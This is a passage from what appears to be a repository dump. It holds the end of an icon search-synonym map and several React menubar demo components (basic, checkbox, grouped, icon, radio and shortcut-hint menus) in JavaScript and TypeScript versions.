'blocks browser internet page screen website www',\n  WebAsset:\n    '-website application browser design desktop download image interface internet layout screen ui ux video window www',\n  WebAssetOff:\n    'browser disabled enabled internet on screen slash webpage website windows www',\n  Webhook: 'api developer development enterprise software',\n  WebStories: 'google images logo',\n  Weekend: 'chair couch furniture home living lounge relax room seat',\n  West: 'arrow directional left maps navigation',\n  WhatsApp: 'brand call chat logo messaging voice',\n  Whatshot: 'arrow circle direction fire frames round trending',\n  WheelchairPickup: 'accessibility accessible body handicap help human person',\n  WhereToVote:\n    'approve ballot check complete destination direction done election location maps mark ok pin place poll select stop tick validate verified yes',\n  Widgets: 'app blocks box menu setting squares ui',\n  Wifi: 'connection data internet network scan service signal wireless',\n  Wifi1Bar:\n    'cellular connection data internet mobile network phone scan service signal wireless',\n  Wifi2Bar:\n    'cellular connection data internet mobile network phone scan service signal wireless',\n  WifiCalling:\n    'cell connection connectivity contact device hardware mobile signal telephone wireless',\n  WifiCalling3: 'cellular data internet mobile network phone speed wireless',\n  WifiChannel:\n    '(scan) [cellular connection data internet mobile] network service signal wireless',\n  WifiFind:\n    '(scan) [cellular connection data detect discover glass internet look magnifying mobile] network notice search service signal wireless',\n  WifiLock:\n    'cellular connection data internet locked mobile network password privacy private protection safety secure security service signal wireless',\n  WifiOff:\n    'connection data disabled enabled internet network offline scan service signal slash wireless',\n  WifiPassword:\n    '(scan) [cellular connection data internet lock mobile] network secure service signal wireless',\n  WifiProtectedSetup: 'around arrows rotate',\n  WifiTethering:\n    'cellular connection data internet mobile network phone scan service signal speed wireless',\n  WifiTetheringError:\n    '! alert attention caution cellular connection danger data exclamation important internet mark mobile network notification phone rounded scan service signal speed symbol warning wireless',\n  WifiTetheringOff:\n    'cellular connection data disabled enabled internet mobile network offline phone scan service signal slash speed wireless',\n  Window: 'close glass grid home house interior layout outside',\n  WindPower: 'eco energy nest windy',\n  WineBar: 'alcohol cocktail cup drink glass liquor',\n  Woman: 'female gender girl lady social symbol women',\n  Woman2: 'female gender girl lady social symbol women',\n  Work: '-briefcase baggage business job suitcase',\n  WorkHistory:\n    'arrow backwards baggage briefcase business clock job pending recent refresh renew reverse rotate schedule suitcase time turn updates',\n  WorkOff: 'baggage briefcase business disabled enabled job on slash suitcase',\n  WorkOutline: 'baggage briefcase business job suitcase',\n  WorkspacePremium:\n    'certification degree ecommerce guarantee medal permit ribbon verification',\n  Workspaces: 'circles collaboration dot filled group outline team',\n  WrapText: 'arrow doc editing editor spreadsheet type write writing',\n  WrongLocation:\n    'cancel clear close destination direction exit maps no pin place quit remove stop',\n  Wysiwyg:\n    'composer mode screen software system text view visibility website window',\n  X: 'brand logo social twitter',\n  Yard: 'backyard flower garden home house nature pettle plants',\n  YouTube: 'brand logo social video',\n  YoutubeSearchedFor:\n    'arrow backwards find glass history inprogress loading look magnifying refresh renew restore reverse rotate see yt',\n  ZoomIn:\n    'bigger find glass grow look magnifier magnifying plus scale search see size',\n  ZoomInMap: 'arrows center destination location maps middle move place stop',\n  ZoomOut:\n    'find glass look magnifier magnifying minus negative scale search see size smaller',\n  ZoomOutMap: 'arrows center destination location maps middle move place stop',\n};\n\nexport default synonyms;\n"
  },
  {
    "path": "docs/data/material/components/menubar/BasicMenubar.js",
    "content": "import * as React from 'react';\nimport {\n  Menubar,\n  MenuRoot,\n  MenuTrigger,\n  MenuPortal,\n  MenuPositioner,\n  MenuPopup,\n  MenuItem,\n  MenuSeparator,\n  MenuSubmenuRoot,\n  MenuSubmenuTrigger,\n} from './components/Menubar';\n\nexport default function BasicMenubar() {\n  return (\n    <Menubar>\n      <MenuRoot>\n        <MenuTrigger>File</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuItem>New</MenuItem>\n              <MenuItem>Open...</MenuItem>\n              <MenuItem>Save</MenuItem>\n              <MenuItem>Save as...</MenuItem>\n              <MenuSeparator />\n              <MenuSubmenuRoot>\n                <MenuSubmenuTrigger>Share</MenuSubmenuTrigger>\n                <MenuPortal>\n                  <MenuPositioner alignOffset={-4}>\n                    <MenuPopup>\n                      <MenuItem>Email link</MenuItem>\n                      <MenuItem>Copy link</MenuItem>\n                    </MenuPopup>\n                  </MenuPositioner>\n                </MenuPortal>\n              </MenuSubmenuRoot>\n              <MenuSeparator />\n              <MenuItem>Close</MenuItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n\n      <MenuRoot>\n        <MenuTrigger>Help</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4}>\n            <MenuPopup>\n              <MenuItem>Documentation</MenuItem>\n              <MenuItem>Release notes</MenuItem>\n              <MenuSeparator />\n              <MenuItem>About</MenuItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n    </Menubar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menubar/BasicMenubar.tsx",
    "content": "import * as React from 'react';\nimport {\n  Menubar,\n  MenuRoot,\n  MenuTrigger,\n  MenuPortal,\n  MenuPositioner,\n  MenuPopup,\n  MenuItem,\n  MenuSeparator,\n  MenuSubmenuRoot,\n  MenuSubmenuTrigger,\n} from './components/Menubar';\n\nexport default function BasicMenubar() {\n  return (\n    <Menubar>\n      <MenuRoot>\n        <MenuTrigger>File</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuItem>New</MenuItem>\n              <MenuItem>Open...</MenuItem>\n              <MenuItem>Save</MenuItem>\n              <MenuItem>Save as...</MenuItem>\n              <MenuSeparator />\n              <MenuSubmenuRoot>\n                <MenuSubmenuTrigger>Share</MenuSubmenuTrigger>\n                <MenuPortal>\n                  <MenuPositioner alignOffset={-4}>\n                    <MenuPopup>\n                      <MenuItem>Email link</MenuItem>\n                      <MenuItem>Copy link</MenuItem>\n                    </MenuPopup>\n                  </MenuPositioner>\n                </MenuPortal>\n              </MenuSubmenuRoot>\n              <MenuSeparator />\n              <MenuItem>Close</MenuItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n\n      <MenuRoot>\n        <MenuTrigger>Help</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4}>\n            <MenuPopup>\n              <MenuItem>Documentation</MenuItem>\n              <MenuItem>Release notes</MenuItem>\n              <MenuSeparator />\n              <MenuItem>About</MenuItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n    </Menubar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menubar/CheckboxItemsMenubar.js",
    "content": "import * as React from 'react';\nimport {\n  Menubar,\n  MenuRoot,\n  MenuTrigger,\n  MenuPortal,\n  MenuPositioner,\n  MenuPopup,\n  MenuItem,\n  MenuCheckboxItem,\n  MenuSeparator,\n} from './components/Menubar';\n\nexport default function CheckboxItemsMenubar() {\n  const [showSidebar, setShowSidebar] = React.useState(true);\n  const [showToolbar, setShowToolbar] = React.useState(true);\n  const [showStatusBar, setShowStatusBar] = React.useState(false);\n  const [googleTasks, setGoogleTasks] = React.useState(true);\n  const [mail, setMail] = React.useState(false);\n  const [messages, setMessages] = React.useState(false);\n\n  return (\n    <Menubar>\n      <MenuRoot>\n        <MenuTrigger>View</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuCheckboxItem\n                checked={showSidebar}\n                onCheckedChange={setShowSidebar}\n              >\n                Show Sidebar\n              </MenuCheckboxItem>\n              <MenuCheckboxItem\n                checked={showToolbar}\n                onCheckedChange={setShowToolbar}\n              >\n                Show Toolbar\n              </MenuCheckboxItem>\n              <MenuCheckboxItem\n                checked={showStatusBar}\n                onCheckedChange={setShowStatusBar}\n              >\n                Show Status Bar\n              </MenuCheckboxItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n\n      <MenuRoot>\n        <MenuTrigger>Window</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuItem hint=\"⌘M\">Minimize</MenuItem>\n              <MenuItem>Zoom</MenuItem>\n              <MenuItem hint=\"⌃⌥F\">Fill</MenuItem>\n              <MenuItem hint=\"⌃⌥C\">Center</MenuItem>\n              <MenuSeparator />\n              <MenuItem>Bring All to Front</MenuItem>\n              <MenuSeparator />\n              <MenuCheckboxItem\n                checked={googleTasks}\n                onCheckedChange={setGoogleTasks}\n              >\n                Google Tasks - Tasks\n              </MenuCheckboxItem>\n              <MenuCheckboxItem checked={mail} onCheckedChange={setMail}>\n                Mail\n              </MenuCheckboxItem>\n              <MenuCheckboxItem checked={messages} onCheckedChange={setMessages}>\n                Messages\n              </MenuCheckboxItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n    </Menubar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menubar/CheckboxItemsMenubar.tsx",
    "content": "import * as React from 'react';\nimport {\n  Menubar,\n  MenuRoot,\n  MenuTrigger,\n  MenuPortal,\n  MenuPositioner,\n  MenuPopup,\n  MenuItem,\n  MenuCheckboxItem,\n  MenuSeparator,\n} from './components/Menubar';\n\nexport default function CheckboxItemsMenubar() {\n  const [showSidebar, setShowSidebar] = React.useState(true);\n  const [showToolbar, setShowToolbar] = React.useState(true);\n  const [showStatusBar, setShowStatusBar] = React.useState(false);\n  const [googleTasks, setGoogleTasks] = React.useState(true);\n  const [mail, setMail] = React.useState(false);\n  const [messages, setMessages] = React.useState(false);\n\n  return (\n    <Menubar>\n      <MenuRoot>\n        <MenuTrigger>View</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuCheckboxItem\n                checked={showSidebar}\n                onCheckedChange={setShowSidebar}\n              >\n                Show Sidebar\n              </MenuCheckboxItem>\n              <MenuCheckboxItem\n                checked={showToolbar}\n                onCheckedChange={setShowToolbar}\n              >\n                Show Toolbar\n              </MenuCheckboxItem>\n              <MenuCheckboxItem\n                checked={showStatusBar}\n                onCheckedChange={setShowStatusBar}\n              >\n                Show Status Bar\n              </MenuCheckboxItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n\n      <MenuRoot>\n        <MenuTrigger>Window</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuItem hint=\"⌘M\">Minimize</MenuItem>\n              <MenuItem>Zoom</MenuItem>\n              <MenuItem hint=\"⌃⌥F\">Fill</MenuItem>\n              <MenuItem hint=\"⌃⌥C\">Center</MenuItem>\n              <MenuSeparator />\n              <MenuItem>Bring All to Front</MenuItem>\n              <MenuSeparator />\n              <MenuCheckboxItem\n                checked={googleTasks}\n                onCheckedChange={setGoogleTasks}\n              >\n                Google Tasks - Tasks\n              </MenuCheckboxItem>\n              <MenuCheckboxItem checked={mail} onCheckedChange={setMail}>\n                Mail\n              </MenuCheckboxItem>\n              <MenuCheckboxItem checked={messages} onCheckedChange={setMessages}>\n                Messages\n              </MenuCheckboxItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n    </Menubar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menubar/GroupLabelMenubar.js",
    "content": "import * as React from 'react';\nimport InfoIcon from '@mui/icons-material/Info';\nimport SettingsIcon from '@mui/icons-material/Settings';\nimport BuildIcon from '@mui/icons-material/Build';\nimport MonitorHeartIcon from '@mui/icons-material/MonitorHeart';\nimport TimelineIcon from '@mui/icons-material/Timeline';\nimport InsertDriveFileIcon from '@mui/icons-material/InsertDriveFile';\nimport ToggleOnIcon from '@mui/icons-material/ToggleOn';\nimport TuneIcon from '@mui/icons-material/Tune';\nimport VisibilityOffIcon from '@mui/icons-material/VisibilityOff';\nimport VisibilityIcon from '@mui/icons-material/Visibility';\nimport UndoIcon from '@mui/icons-material/Undo';\nimport RedoIcon from '@mui/icons-material/Redo';\nimport ContentCutIcon from '@mui/icons-material/ContentCut';\nimport ContentCopyIcon from '@mui/icons-material/ContentCopy';\nimport ContentPasteIcon from '@mui/icons-material/ContentPaste';\nimport {\n  Menubar,\n  MenuRoot,\n  MenuTrigger,\n  MenuPortal,\n  MenuPositioner,\n  MenuPopup,\n  MenuItem,\n  MenuSeparator,\n  MenuSubmenuRoot,\n  MenuSubmenuTrigger,\n  MenuGroup,\n  MenuGroupLabel,\n} from './components/Menubar';\n\nexport default function GroupLabelMenubar() {\n  return (\n    <Menubar>\n      <MenuRoot>\n        <MenuTrigger>App</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuGroup>\n                <MenuGroupLabel>General</MenuGroupLabel>\n                <MenuItem icon={<InfoIcon fontSize=\"small\" />}>About</MenuItem>\n                <MenuItem icon={<SettingsIcon fontSize=\"small\" />}>\n                  Settings...\n                </MenuItem>\n              </MenuGroup>\n              <MenuSeparator />\n              <MenuSubmenuRoot>\n                <MenuSubmenuTrigger icon={<BuildIcon fontSize=\"small\" />}>\n                  Services\n                </MenuSubmenuTrigger>\n                <MenuPortal>\n                  <MenuPositioner alignOffset={-4}>\n                    <MenuPopup>\n                      <MenuGroup>\n                        <MenuGroupLabel>Development</MenuGroupLabel>\n                        <MenuItem icon={<MonitorHeartIcon fontSize=\"small\" />}>\n                          Activity Monitor\n                        </MenuItem>\n                        <MenuItem icon={<TimelineIcon fontSize=\"small\" />}>\n                          System Trace\n                        </MenuItem>\n                        <MenuItem icon={<InsertDriveFileIcon fontSize=\"small\" />}>\n                          File Activity\n                        </MenuItem>\n                      </MenuGroup>\n                      <MenuSeparator />\n                      <MenuGroup>\n                        <MenuGroupLabel>Shortcuts</MenuGroupLabel>\n                        <MenuItem icon={<ToggleOnIcon fontSize=\"small\" />}>\n                          Toggle Gate\n                        </MenuItem>\n                        <MenuItem icon={<TuneIcon fontSize=\"small\" />}>\n                          Services Settings...\n                        </MenuItem>\n                      </MenuGroup>\n                    </MenuPopup>\n                  </MenuPositioner>\n                </MenuPortal>\n              </MenuSubmenuRoot>\n              <MenuSeparator />\n              <MenuGroup>\n                <MenuGroupLabel>Window</MenuGroupLabel>\n                <MenuItem icon={<VisibilityOffIcon fontSize=\"small\" />}>\n                  Hide App\n                </MenuItem>\n                <MenuItem icon={<VisibilityOffIcon fontSize=\"small\" />}>\n                  Hide Others\n                </MenuItem>\n                <MenuItem icon={<VisibilityIcon fontSize=\"small\" />}>\n                  Show All\n                </MenuItem>\n              </MenuGroup>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n\n      <MenuRoot>\n        <MenuTrigger>Edit</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4}>\n            <MenuPopup>\n              <MenuGroup>\n                <MenuGroupLabel>History</MenuGroupLabel>\n                <MenuItem icon={<UndoIcon fontSize=\"small\" />}>Undo</MenuItem>\n                <MenuItem icon={<RedoIcon fontSize=\"small\" />}>Redo</MenuItem>\n              </MenuGroup>\n              <MenuSeparator />\n              <MenuGroup>\n                <MenuGroupLabel>Clipboard</MenuGroupLabel>\n                <MenuItem icon={<ContentCutIcon fontSize=\"small\" />}>Cut</MenuItem>\n                <MenuItem icon={<ContentCopyIcon fontSize=\"small\" />}>Copy</MenuItem>\n                <MenuItem icon={<ContentPasteIcon fontSize=\"small\" />}>\n                  Paste\n                </MenuItem>\n              </MenuGroup>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n    </Menubar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menubar/GroupLabelMenubar.tsx",
    "content": "import * as React from 'react';\nimport InfoIcon from '@mui/icons-material/Info';\nimport SettingsIcon from '@mui/icons-material/Settings';\nimport BuildIcon from '@mui/icons-material/Build';\nimport MonitorHeartIcon from '@mui/icons-material/MonitorHeart';\nimport TimelineIcon from '@mui/icons-material/Timeline';\nimport InsertDriveFileIcon from '@mui/icons-material/InsertDriveFile';\nimport ToggleOnIcon from '@mui/icons-material/ToggleOn';\nimport TuneIcon from '@mui/icons-material/Tune';\nimport VisibilityOffIcon from '@mui/icons-material/VisibilityOff';\nimport VisibilityIcon from '@mui/icons-material/Visibility';\nimport UndoIcon from '@mui/icons-material/Undo';\nimport RedoIcon from '@mui/icons-material/Redo';\nimport ContentCutIcon from '@mui/icons-material/ContentCut';\nimport ContentCopyIcon from '@mui/icons-material/ContentCopy';\nimport ContentPasteIcon from '@mui/icons-material/ContentPaste';\nimport {\n  Menubar,\n  MenuRoot,\n  MenuTrigger,\n  MenuPortal,\n  MenuPositioner,\n  MenuPopup,\n  MenuItem,\n  MenuSeparator,\n  MenuSubmenuRoot,\n  MenuSubmenuTrigger,\n  MenuGroup,\n  MenuGroupLabel,\n} from './components/Menubar';\n\nexport default function GroupLabelMenubar() {\n  return (\n    <Menubar>\n      <MenuRoot>\n        <MenuTrigger>App</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuGroup>\n                <MenuGroupLabel>General</MenuGroupLabel>\n                <MenuItem icon={<InfoIcon fontSize=\"small\" />}>About</MenuItem>\n                <MenuItem icon={<SettingsIcon fontSize=\"small\" />}>\n                  Settings...\n                </MenuItem>\n              </MenuGroup>\n              <MenuSeparator />\n              <MenuSubmenuRoot>\n                <MenuSubmenuTrigger icon={<BuildIcon fontSize=\"small\" />}>\n                  Services\n                </MenuSubmenuTrigger>\n                <MenuPortal>\n                  <MenuPositioner alignOffset={-4}>\n                    <MenuPopup>\n                      <MenuGroup>\n                        <MenuGroupLabel>Development</MenuGroupLabel>\n                        <MenuItem icon={<MonitorHeartIcon fontSize=\"small\" />}>\n                          Activity Monitor\n                        </MenuItem>\n                        <MenuItem icon={<TimelineIcon fontSize=\"small\" />}>\n                          System Trace\n                        </MenuItem>\n                        <MenuItem icon={<InsertDriveFileIcon fontSize=\"small\" />}>\n                          File Activity\n                        </MenuItem>\n                      </MenuGroup>\n                      <MenuSeparator />\n                      <MenuGroup>\n                        <MenuGroupLabel>Shortcuts</MenuGroupLabel>\n                        <MenuItem icon={<ToggleOnIcon fontSize=\"small\" />}>\n                          Toggle Gate\n                        </MenuItem>\n                        <MenuItem icon={<TuneIcon fontSize=\"small\" />}>\n                          Services Settings...\n                        </MenuItem>\n                      </MenuGroup>\n                    </MenuPopup>\n                  </MenuPositioner>\n                </MenuPortal>\n              </MenuSubmenuRoot>\n              <MenuSeparator />\n              <MenuGroup>\n                <MenuGroupLabel>Window</MenuGroupLabel>\n                <MenuItem icon={<VisibilityOffIcon fontSize=\"small\" />}>\n                  Hide App\n                </MenuItem>\n                <MenuItem icon={<VisibilityOffIcon fontSize=\"small\" />}>\n                  Hide Others\n                </MenuItem>\n                <MenuItem icon={<VisibilityIcon fontSize=\"small\" />}>\n                  Show All\n                </MenuItem>\n              </MenuGroup>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n\n      <MenuRoot>\n        <MenuTrigger>Edit</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4}>\n            <MenuPopup>\n              <MenuGroup>\n                <MenuGroupLabel>History</MenuGroupLabel>\n                <MenuItem icon={<UndoIcon fontSize=\"small\" />}>Undo</MenuItem>\n                <MenuItem icon={<RedoIcon fontSize=\"small\" />}>Redo</MenuItem>\n              </MenuGroup>\n              <MenuSeparator />\n              <MenuGroup>\n                <MenuGroupLabel>Clipboard</MenuGroupLabel>\n                <MenuItem icon={<ContentCutIcon fontSize=\"small\" />}>Cut</MenuItem>\n                <MenuItem icon={<ContentCopyIcon fontSize=\"small\" />}>Copy</MenuItem>\n                <MenuItem icon={<ContentPasteIcon fontSize=\"small\" />}>\n                  Paste\n                </MenuItem>\n              </MenuGroup>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n    </Menubar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menubar/IconItemsMenubar.js",
    "content": "import * as React from 'react';\nimport AddIcon from '@mui/icons-material/Add';\nimport FolderOpenIcon from '@mui/icons-material/FolderOpen';\nimport SaveIcon from '@mui/icons-material/Save';\nimport PrintIcon from '@mui/icons-material/Print';\nimport UndoIcon from '@mui/icons-material/Undo';\nimport RedoIcon from '@mui/icons-material/Redo';\nimport {\n  Menubar,\n  MenuRoot,\n  MenuTrigger,\n  MenuPortal,\n  MenuPositioner,\n  MenuPopup,\n  MenuItem,\n  MenuSeparator,\n} from './components/Menubar';\n\nexport default function IconItemsMenubar() {\n  return (\n    <Menubar>\n      <MenuRoot>\n        <MenuTrigger>File</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuItem icon={<AddIcon fontSize=\"small\" />}>New</MenuItem>\n              <MenuItem icon={<FolderOpenIcon fontSize=\"small\" />}>Open...</MenuItem>\n              <MenuItem icon={<SaveIcon fontSize=\"small\" />}>Save</MenuItem>\n              <MenuSeparator />\n              <MenuItem icon={<PrintIcon fontSize=\"small\" />}>Print...</MenuItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n\n      <MenuRoot>\n        <MenuTrigger>Edit</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuItem icon={<UndoIcon fontSize=\"small\" />}>Undo</MenuItem>\n              <MenuItem icon={<RedoIcon fontSize=\"small\" />}>Redo</MenuItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n    </Menubar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menubar/IconItemsMenubar.tsx",
    "content": "import * as React from 'react';\nimport AddIcon from '@mui/icons-material/Add';\nimport FolderOpenIcon from '@mui/icons-material/FolderOpen';\nimport SaveIcon from '@mui/icons-material/Save';\nimport PrintIcon from '@mui/icons-material/Print';\nimport UndoIcon from '@mui/icons-material/Undo';\nimport RedoIcon from '@mui/icons-material/Redo';\nimport {\n  Menubar,\n  MenuRoot,\n  MenuTrigger,\n  MenuPortal,\n  MenuPositioner,\n  MenuPopup,\n  MenuItem,\n  MenuSeparator,\n} from './components/Menubar';\n\nexport default function IconItemsMenubar() {\n  return (\n    <Menubar>\n      <MenuRoot>\n        <MenuTrigger>File</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuItem icon={<AddIcon fontSize=\"small\" />}>New</MenuItem>\n              <MenuItem icon={<FolderOpenIcon fontSize=\"small\" />}>Open...</MenuItem>\n              <MenuItem icon={<SaveIcon fontSize=\"small\" />}>Save</MenuItem>\n              <MenuSeparator />\n              <MenuItem icon={<PrintIcon fontSize=\"small\" />}>Print...</MenuItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n\n      <MenuRoot>\n        <MenuTrigger>Edit</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuItem icon={<UndoIcon fontSize=\"small\" />}>Undo</MenuItem>\n              <MenuItem icon={<RedoIcon fontSize=\"small\" />}>Redo</MenuItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n    </Menubar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menubar/RadioGroupItemsMenubar.js",
    "content": "import * as React from 'react';\nimport {\n  Menubar,\n  MenuRoot,\n  MenuTrigger,\n  MenuPortal,\n  MenuPositioner,\n  MenuPopup,\n  MenuRadioGroup,\n  MenuRadioItem,\n  MenuSeparator,\n  MenuSubmenuRoot,\n  MenuSubmenuTrigger,\n} from './components/Menubar';\n\nexport default function RadioGroupItemsMenubar() {\n  const [theme, setTheme] = React.useState('system');\n  const [density, setDensity] = React.useState('compact');\n\n  return (\n    <Menubar>\n      <MenuRoot>\n        <MenuTrigger>Appearance</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuSubmenuRoot>\n                <MenuSubmenuTrigger>Theme</MenuSubmenuTrigger>\n                <MenuPortal>\n                  <MenuPositioner alignOffset={-4}>\n                    <MenuPopup>\n                      <MenuRadioGroup value={theme} onValueChange={setTheme}>\n                        <MenuRadioItem value=\"light\">Light</MenuRadioItem>\n                        <MenuRadioItem value=\"dark\">Dark</MenuRadioItem>\n                        <MenuRadioItem value=\"system\">System</MenuRadioItem>\n                      </MenuRadioGroup>\n                    </MenuPopup>\n                  </MenuPositioner>\n                </MenuPortal>\n              </MenuSubmenuRoot>\n              <MenuSeparator />\n              <MenuRadioGroup value={density} onValueChange={setDensity}>\n                <MenuRadioItem value=\"compact\">Compact</MenuRadioItem>\n                <MenuRadioItem value=\"comfortable\">Comfortable</MenuRadioItem>\n              </MenuRadioGroup>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n    </Menubar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menubar/RadioGroupItemsMenubar.tsx",
    "content": "import * as React from 'react';\nimport {\n  Menubar,\n  MenuRoot,\n  MenuTrigger,\n  MenuPortal,\n  MenuPositioner,\n  MenuPopup,\n  MenuRadioGroup,\n  MenuRadioItem,\n  MenuSeparator,\n  MenuSubmenuRoot,\n  MenuSubmenuTrigger,\n} from './components/Menubar';\n\nexport default function RadioGroupItemsMenubar() {\n  const [theme, setTheme] = React.useState('system');\n  const [density, setDensity] = React.useState('compact');\n\n  return (\n    <Menubar>\n      <MenuRoot>\n        <MenuTrigger>Appearance</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuSubmenuRoot>\n                <MenuSubmenuTrigger>Theme</MenuSubmenuTrigger>\n                <MenuPortal>\n                  <MenuPositioner alignOffset={-4}>\n                    <MenuPopup>\n                      <MenuRadioGroup value={theme} onValueChange={setTheme}>\n                        <MenuRadioItem value=\"light\">Light</MenuRadioItem>\n                        <MenuRadioItem value=\"dark\">Dark</MenuRadioItem>\n                        <MenuRadioItem value=\"system\">System</MenuRadioItem>\n                      </MenuRadioGroup>\n                    </MenuPopup>\n                  </MenuPositioner>\n                </MenuPortal>\n              </MenuSubmenuRoot>\n              <MenuSeparator />\n              <MenuRadioGroup value={density} onValueChange={setDensity}>\n                <MenuRadioItem value=\"compact\">Compact</MenuRadioItem>\n                <MenuRadioItem value=\"comfortable\">Comfortable</MenuRadioItem>\n              </MenuRadioGroup>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n    </Menubar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menubar/ShortcutHintsMenubar.js",
    "content": "import * as React from 'react';\nimport {\n  Menubar,\n  MenuRoot,\n  MenuTrigger,\n  MenuPortal,\n  MenuPositioner,\n  MenuPopup,\n  MenuItem,\n  MenuSeparator,\n} from './components/Menubar';\n\nexport default function ShortcutHintsMenubar() {\n  return (\n    <Menubar>\n      <MenuRoot>\n        <MenuTrigger>File</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuItem hint=\"⌘N\">New</MenuItem>\n              <MenuItem hint=\"⌘O\">Open...</MenuItem>\n              <MenuItem hint=\"⌘S\">Save</MenuItem>\n              <MenuItem hint=\"⇧⌘S\">Save As...</MenuItem>\n              <MenuSeparator />\n              <MenuItem hint=\"⌘P\">Print...</MenuItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n\n      <MenuRoot>\n        <MenuTrigger>Edit</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuItem hint=\"⌘Z\">Undo</MenuItem>\n              <MenuItem hint=\"⇧⌘Z\">Redo</MenuItem>\n              <MenuSeparator />\n              <MenuItem hint=\"⌘X\">Cut</MenuItem>\n              <MenuItem hint=\"⌘C\">Copy</MenuItem>\n              <MenuItem hint=\"⌘V\">Paste</MenuItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n    </Menubar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menubar/ShortcutHintsMenubar.tsx",
